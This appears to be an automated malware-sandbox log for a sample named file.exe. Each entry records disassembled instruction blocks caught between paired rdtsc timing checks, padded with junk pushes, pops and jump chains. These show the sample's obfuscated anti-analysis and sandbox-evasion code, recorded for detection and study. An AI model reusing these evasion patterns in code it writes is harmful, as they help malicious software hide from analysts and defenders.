Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70281 second address: 4C702C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F8AE47DB013h 0x00000014 sbb cx, 71CEh 0x00000019 jmp 00007F8AE47DB019h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C702C2 second address: 4C70305 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8AE4756600h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F8AE47565FBh 0x0000000f jmp 00007F8AE4756608h 0x00000014 pop esi 0x00000015 popad 0x00000016 push ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov cl, bh 0x0000001c mov bl, ah 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70305 second address: 4C7030B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7030B second address: 4C7030F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7030F second address: 4C7036C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007F8AE47DB014h 0x00000010 xchg eax, esi 0x00000011 jmp 00007F8AE47DB010h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dl, ah 0x0000001c pushfd 0x0000001d jmp 00007F8AE47DB019h 0x00000022 jmp 00007F8AE47DB00Bh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7036C second address: 4C70403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8AE47565FFh 0x00000009 sub si, 320Eh 0x0000000e jmp 00007F8AE4756609h 0x00000013 popfd 0x00000014 jmp 00007F8AE4756600h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, esi 0x0000001d jmp 00007F8AE4756600h 0x00000022 xchg eax, edi 0x00000023 jmp 00007F8AE4756600h 0x00000028 push eax 0x00000029 pushad 0x0000002a movsx ebx, ax 0x0000002d mov ebx, ecx 0x0000002f popad 0x00000030 xchg eax, edi 0x00000031 jmp 00007F8AE4756604h 0x00000036 mov eax, dword ptr [75C74538h] 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8AE47565FAh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70403 second address: 4C70407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70407 second address: 4C7040D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7040D second address: 4C70428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70428 second address: 4C70445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70445 second address: 4C704C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b pushad 0x0000000c call 00007F8AE47DB00Dh 0x00000011 pushfd 0x00000012 jmp 00007F8AE47DB010h 0x00000017 xor si, 5F98h 0x0000001c jmp 00007F8AE47DB00Bh 0x00000021 popfd 0x00000022 pop eax 0x00000023 mov edi, 2DA090DCh 0x00000028 popad 0x00000029 push ecx 0x0000002a jmp 00007F8AE47DB010h 0x0000002f mov dword ptr [esp], eax 0x00000032 jmp 00007F8AE47DB010h 0x00000037 lea eax, dword ptr [ebp-10h] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704C1 second address: 4C704C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704C6 second address: 4C7050B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8AE47DB014h 0x00000008 pop ecx 0x00000009 call 00007F8AE47DB00Bh 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr fs:[00000000h], eax 0x00000018 pushad 0x00000019 call 00007F8AE47DB015h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7050B second address: 4C7060D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushfd 0x00000007 jmp 00007F8AE47565FDh 0x0000000c sub esi, 1F4B6156h 0x00000012 jmp 00007F8AE4756601h 0x00000017 popfd 0x00000018 popad 0x00000019 popad 0x0000001a mov dword ptr [ebp-18h], esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F8AE4756608h 0x00000024 sbb esi, 0C274AA8h 0x0000002a jmp 00007F8AE47565FBh 0x0000002f popfd 0x00000030 mov si, AD9Fh 0x00000034 popad 0x00000035 mov eax, dword ptr fs:[00000018h] 0x0000003b jmp 00007F8AE4756602h 0x00000040 mov ecx, dword ptr [eax+00000FDCh] 0x00000046 jmp 00007F8AE4756600h 0x0000004b test ecx, ecx 0x0000004d jmp 00007F8AE4756600h 0x00000052 jns 00007F8AE4756638h 0x00000058 jmp 00007F8AE4756600h 0x0000005d add eax, ecx 0x0000005f pushad 0x00000060 movzx esi, bx 0x00000063 push edi 0x00000064 pushfd 0x00000065 jmp 00007F8AE4756606h 0x0000006a adc eax, 69029CF8h 0x00000070 jmp 00007F8AE47565FBh 0x00000075 popfd 0x00000076 pop ecx 0x00000077 popad 0x00000078 mov ecx, dword ptr [ebp+08h] 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007F8AE4756601h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7060D second address: 4C70622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70622 second address: 4C70628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70628 second address: 4C7062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7062C second address: 4C70630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601BD second address: 4C601C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601C3 second address: 4C60280 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8AE4756600h 0x0000000f push eax 0x00000010 jmp 00007F8AE47565FBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8AE4756604h 0x0000001d add esi, 016601C8h 0x00000023 jmp 00007F8AE47565FBh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F8AE4756608h 0x0000002f sub cx, 0428h 0x00000034 jmp 00007F8AE47565FBh 0x00000039 popfd 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d pushad 0x0000003e jmp 00007F8AE4756604h 0x00000043 movzx esi, bx 0x00000046 popad 0x00000047 sub esp, 2Ch 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d call 00007F8AE4756606h 0x00000052 pop ecx 0x00000053 mov si, dx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60280 second address: 4C60286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60286 second address: 4C6028A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6028A second address: 4C602D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB016h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F8AE47DB00Dh 0x00000015 and si, 5DB6h 0x0000001a jmp 00007F8AE47DB011h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602D1 second address: 4C602D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602D6 second address: 4C60346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB017h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8AE47DB00Fh 0x00000011 sub ecx, 0090CB9Eh 0x00000017 jmp 00007F8AE47DB019h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007F8AE47DB00Eh 0x00000025 adc eax, 1F395598h 0x0000002b jmp 00007F8AE47DB00Bh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603F3 second address: 4C603F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603F9 second address: 4C6046E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8AE47DB012h 0x00000014 or ax, A3D8h 0x00000019 jmp 00007F8AE47DB00Bh 0x0000001e popfd 0x0000001f mov eax, 1E27EA8Fh 0x00000024 popad 0x00000025 sub edi, edi 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F8AE47DB011h 0x0000002e sub ecx, 5E097B76h 0x00000034 jmp 00007F8AE47DB011h 0x00000039 popfd 0x0000003a mov cx, EA67h 0x0000003e popad 0x0000003f inc ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 mov ah, dl 0x00000045 mov cx, 3B57h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6046E second address: 4C6048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE4756608h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6055F second address: 4C605A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 5DFAh 0x00000007 pushfd 0x00000008 jmp 00007F8AE47DB00Bh 0x0000000d jmp 00007F8AE47DB013h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8AE47DB015h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60613 second address: 4C60617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60617 second address: 4C6061D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6061D second address: 4C60637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov dx, 7EA6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007F8AE4756676h 0x00000013 pushad 0x00000014 mov esi, edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60637 second address: 4C606CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a cmp dword ptr [ebp-14h], edi 0x0000000d jmp 00007F8AE47DB016h 0x00000012 jne 00007F8B55798E41h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F8AE47DB00Eh 0x0000001f and ah, FFFFFFA8h 0x00000022 jmp 00007F8AE47DB00Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F8AE47DB018h 0x0000002e and si, 5908h 0x00000033 jmp 00007F8AE47DB00Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebx, dword ptr [ebp+08h] 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8AE47DB015h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606CA second address: 4C606DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47565FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606DA second address: 4C60727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b pushad 0x0000000c mov di, 18B0h 0x00000010 movsx ebx, ax 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ecx, ebx 0x0000001a pushfd 0x0000001b jmp 00007F8AE47DB019h 0x00000020 adc esi, 6CFE06E6h 0x00000026 jmp 00007F8AE47DB011h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60727 second address: 4C60791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov edx, 3954216Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F8AE4756604h 0x00000013 xchg eax, esi 0x00000014 jmp 00007F8AE4756600h 0x00000019 nop 0x0000001a pushad 0x0000001b mov si, di 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F8AE4756606h 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8AE4756607h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60805 second address: 4C60809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60809 second address: 4C6080D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6080D second address: 4C60813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60813 second address: 4C60819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60819 second address: 4C6081D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6081D second address: 4C6084E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d mov esi, 4CD7C75Bh 0x00000012 popad 0x00000013 test esi, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8AE4756608h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6084E second address: 4C6085D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6085D second address: 4C50E55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F8B557143D1h 0x0000000f xor eax, eax 0x00000011 jmp 00007F8AE472FD2Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F8AE47565F7h 0x0000002b jmp 00007F8AE475676Bh 0x00000030 call 00007F8AE8BA0696h 0x00000035 mov edi, edi 0x00000037 jmp 00007F8AE4756601h 0x0000003c xchg eax, ebp 0x0000003d pushad 0x0000003e mov di, cx 0x00000041 pushfd 0x00000042 jmp 00007F8AE4756608h 0x00000047 and esi, 4E6598B8h 0x0000004d jmp 00007F8AE47565FBh 0x00000052 popfd 0x00000053 popad 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F8AE47565FBh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E55 second address: 4C50E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E5B second address: 4C50EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 6171h 0x00000007 pushfd 0x00000008 jmp 00007F8AE47565FEh 0x0000000d or esi, 5A763248h 0x00000013 jmp 00007F8AE47565FBh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov bx, si 0x00000021 mov di, ax 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F8AE4756609h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50F3C second address: 4C50F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, ecx 0x00000006 popad 0x00000007 popad 0x00000008 leave 0x00000009 pushad 0x0000000a mov di, si 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ebx, eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50F4D second address: 4C60D0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 ret 0x00000008 nop 0x00000009 and bl, 00000001h 0x0000000c movzx eax, bl 0x0000000f lea esp, dword ptr [ebp-0Ch] 0x00000012 pop esi 0x00000013 pop edi 0x00000014 pop ebx 0x00000015 pop ebp 0x00000016 ret 0x00000017 add esp, 04h 0x0000001a jmp dword ptr [0081A41Ch+ebx*4] 0x00000021 push edi 0x00000022 call 00007F8AE477BFF7h 0x00000027 push ebp 0x00000028 push ebx 0x00000029 push edi 0x0000002a push esi 0x0000002b sub esp, 000001D0h 0x00000031 mov dword ptr [esp+000001B4h], 0081CB10h 0x0000003c mov dword ptr [esp+000001B0h], 000000D0h 0x00000047 mov dword ptr [esp], 00000000h 0x0000004e mov eax, dword ptr [008181DCh] 0x00000053 call eax 0x00000055 mov edi, edi 0x00000057 jmp 00007F8AE4756607h 0x0000005c xchg eax, ebp 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F8AE4756605h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E3C second address: 4C60E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E42 second address: 4C60E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E46 second address: 4C60E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E4A second address: 4C60E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d mov si, EA7Bh 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8AE4756603h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E73 second address: 4C60ED2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F8AE47DB011h 0x00000012 pop eax 0x00000013 pushad 0x00000014 mov dh, ah 0x00000016 mov esi, edi 0x00000018 popad 0x00000019 call 00007F8B5578FCCCh 0x0000001e push 75C12B70h 0x00000023 push dword ptr fs:[00000000h] 0x0000002a mov eax, dword ptr [esp+10h] 0x0000002e mov dword ptr [esp+10h], ebp 0x00000032 lea ebp, dword ptr [esp+10h] 0x00000036 sub esp, eax 0x00000038 push ebx 0x00000039 push esi 0x0000003a push edi 0x0000003b mov eax, dword ptr [75C74538h] 0x00000040 xor dword ptr [ebp-04h], eax 0x00000043 xor eax, ebp 0x00000045 push eax 0x00000046 mov dword ptr [ebp-18h], esp 0x00000049 push dword ptr [ebp-08h] 0x0000004c mov eax, dword ptr [ebp-04h] 0x0000004f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000056 mov dword ptr [ebp-08h], eax 0x00000059 lea eax, dword ptr [ebp-10h] 0x0000005c mov dword ptr fs:[00000000h], eax 0x00000062 ret 0x00000063 jmp 00007F8AE47DB00Bh 0x00000068 sub esi, esi 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F8AE47DB012h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60ED2 second address: 4C60ED9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60ED9 second address: 4C60F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [ebp-1Ch], esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8AE47DB019h 0x00000011 jmp 00007F8AE47DB00Bh 0x00000016 popfd 0x00000017 push eax 0x00000018 push edx 0x00000019 mov ecx, 51AFA2D5h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F11 second address: 4C60F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60F54 second address: 4C60FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8A52h 0x00000007 push ebx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test al, al 0x0000000e jmp 00007F8AE47DB015h 0x00000013 je 00007F8B5577EA14h 0x00000019 jmp 00007F8AE47DB00Eh 0x0000001e cmp dword ptr [ebp+08h], 00002000h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F8AE47DB017h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8067F second address: 4C8068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8068E second address: 4C806CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ah, B1h 0x0000000e call 00007F8AE47DB00Fh 0x00000013 pop eax 0x00000014 popad 0x00000015 push ebx 0x00000016 mov al, D6h 0x00000018 pop edi 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov ax, bx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C806CD second address: 4C806FF instructions: 0x00000000 rdtsc 0x00000002 mov dx, 436Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushfd 0x0000000a jmp 00007F8AE47565FEh 0x0000000f adc ax, 1828h 0x00000014 jmp 00007F8AE47565FBh 0x00000019 popfd 0x0000001a pop esi 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C806FF second address: 4C8070F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8070F second address: 4C80758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007F8AE47565FDh 0x0000000c add esi, 6428FEF6h 0x00000012 jmp 00007F8AE4756601h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d jmp 00007F8AE47565FEh 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov dl, 5Ah 0x00000028 movzx esi, bx 0x0000002b popad 0x0000002c rdtsc
